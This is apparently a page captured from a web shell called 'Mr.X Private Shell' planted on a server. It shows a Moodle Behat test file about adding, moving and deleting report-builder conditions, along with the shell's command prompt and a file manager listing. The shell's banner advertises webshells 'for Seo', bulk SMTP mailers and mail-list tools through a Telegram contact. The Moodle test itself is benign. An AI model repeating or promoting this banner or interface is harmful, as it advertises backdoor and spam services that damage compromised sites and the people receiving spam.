__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core_reportbuilder @javascript
Feature: Manage custom report conditions
  In order to manage the conditions of custom reports
  As an admin
  I need to add, edit and delete conditions in a report

  Background:
    Given the following "core_reportbuilder > Reports" exist:
      | name      | source                                   | default |
      | My report | core_user\reportbuilder\datasource\users | 0       |
    And the following "core_reportbuilder > Columns" exist:
      | report    | uniqueidentifier |
      | My report | user:fullname    |
      | My report | user:email       |
    And the following "users" exist:
      | username  | firstname | lastname | email              | interests       |
      | user01    | User      | One      | user01@example.com | lionel, dancing |
      | user02    | User      | Two      | user02@example.com |                 |

  Scenario: Add condition to report
    Given I am on the "My report" "reportbuilder > Editor" page logged in as "admin"
    And I change window size to "large"
    When I click on "Show/hide 'Conditions'" "button"
    Then I should see "There are no conditions selected" in the "[data-region='settings-conditions']" "css_element"
    And I set the field "Select a condition" to "Email address"
    And I should see "Added condition 'Email address'"
    And I should not see "There are no conditions selected" in the "[data-region='settings-conditions']" "css_element"
    And I set the following fields in the "Email address" "core_reportbuilder > Condition" to these values:
      | Email address operator | Does not contain |
      | Email address value    | user02           |
    And I click on "Apply" "button" in the "[data-region='settings-conditions']" "css_element"
    And I should see "Conditions applied"
    And I should see "User One" in the "reportbuilder-table" "table"
    And I should not see "User Two" in the "reportbuilder-table" "table"

  Scenario: Add tags condition to report
    Given the following "core_reportbuilder > Condition" exists:
      | report           | My report |
      | uniqueidentifier | tag:name  |
    And I am on the "My report" "reportbuilder > Editor" page logged in as "admin"
    When I click on "Show/hide 'Conditions'" "button"
    And I set the following fields in the "Tag name" "core_reportbuilder > Condition" to these values:
      | Tag name operator | Is equal to |
      | Tag name value    | dancing     |
    And I click on "Apply" "button" in the "[data-region='settings-conditions']" "css_element"
    Then I should see "Conditions applied"
    And I should see "User One" in the "reportbuilder-table" "table"
    And I should not see "User Two" in the "reportbuilder-table" "table"

  Scenario: Move condition in report
    Given the following "core_reportbuilder > Conditions" exist:
      | report    | uniqueidentifier |
      | My report | user:fullname    |
      | My report | user:email       |
      | My report | user:country     |
    And I am on the "My report" "reportbuilder > Editor" page logged in as "admin"
    When I click on "Show/hide 'Conditions'" "button"
    And I click on "Move condition 'Country'" "button"
    And I click on "After \"Full name\"" "link" in the "Move condition 'Country'" "dialogue"
    Then I should see "Moved condition 'Country'"
    And "Country" "text" should appear before "Email address" "text"

  Scenario: Delete condition from report
    Given the following "core_reportbuilder > Conditions" exist:
      | report    | uniqueidentifier |
      | My report | user:email       |
    And I am on the "My report" "reportbuilder > Editor" page logged in as "admin"
    And I change window size to "large"
    When I click on "Show/hide 'Conditions'" "button"
    And I set the following fields in the "Email address" "core_reportbuilder > Condition" to these values:
      | Email address operator | Does not contain |
      | Email address value    | user02           |
    And I click on "Apply" "button" in the "[data-region='settings-conditions']" "css_element"
    And I click on "Delete condition 'Email address'" "button"
    And I click on "Delete" "button" in the "Delete condition 'Email address'" "dialogue"
    Then I should see "Deleted condition 'Email address'"
    And I should see "There are no conditions selected" in the "[data-region='settings-conditions']" "css_element"
    And "[data-region='active-conditions']" "css_element" should not exist
    And I should see "User One" in the "reportbuilder-table" "table"
    And I should see "User Two" in the "reportbuilder-table" "table"

  Scenario: Reset conditions in report
    Given the following "core_reportbuilder > Conditions" exist:
      | report    | uniqueidentifier |
      | My report | user:email       |
    And I am on the "My report" "reportbuilder > Editor" page logged in as "admin"
    And I change window size to "large"
    When I click on "Show/hide 'Conditions'" "button"
    And I set the following fields in the "Email address" "core_reportbuilder > Condition" to these values:
      | Email address operator | Does not contain |
      | Email address value    | example.com      |
    And I click on "Apply" "button" in the "[data-region='settings-conditions']" "css_element"
    And I should see "Nothing to display"
    And I click on "Reset all" "button" in the "[data-region='settings-conditions']" "css_element"
    And I click on "Reset all" "button" in the "Reset conditions" "dialogue"
    Then I should see "Conditions reset"
    And the following fields in the "Email address" "core_reportbuilder > Condition" match these values:
      | Email address operator | Is any value |
    And I should see "User One" in the "reportbuilder-table" "table"
    And I should see "User Two" in the "reportbuilder-table" "table"

Filemanager

Name Type Size Permission Actions
audience.feature File 18.27 KB 0777
behat_reportbuilder.php File 4.62 KB 0777
cardview.feature File 6.08 KB 0777
columnaggregationeditor.feature File 8.34 KB 0777
columneditor.feature File 4.52 KB 0777
columnsortingeditor.feature File 5.44 KB 0777
conditioneditor.feature File 5.68 KB 0777
customreports.feature File 19.69 KB 0777
filtereditor.feature File 11.46 KB 0777
schedules.feature File 7.32 KB 0777
Filemanager